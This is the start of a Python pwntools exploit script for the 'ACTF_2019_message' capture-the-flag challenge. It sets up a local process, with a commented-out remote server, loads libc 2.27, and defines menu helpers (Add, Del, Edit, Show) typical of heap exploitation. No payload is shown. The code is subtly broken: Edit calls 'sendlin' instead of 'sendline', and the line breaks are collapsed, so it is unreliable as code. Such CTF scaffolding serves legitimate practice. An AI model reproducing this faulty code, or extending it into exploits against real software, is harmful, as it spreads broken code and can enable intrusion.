from pwn import * context.log_level = 'debug' sh = process('./ACTF_2019_message') #sh = remote('node4.buuoj.cn',27384) libc = ELF('./libc-2.27.so')
def Add(len, content): sh.sendline('1') sh.recvuntil('Please input the length of message:') sh.sendline(str(len)) sh.recvuntil('Please input the message:') sh.sendline(content)
def Del(idx): sh.sendline('2') sh.recvuntil('Please input index of message you want to delete:') sh.sendline(str(idx))
def Edit(idx, content): sh.sendlin('3') sh.recvuntil('Please input index of message you want to edit:') sh.sendline(str(idx)) sh.recvuntil('Now you can edit the message:') sh.sendline(content)
def Show(idx): sh.sendline('4') sh.recvuntil('Please input index of message you want to display:') sh.sendline(str(idx))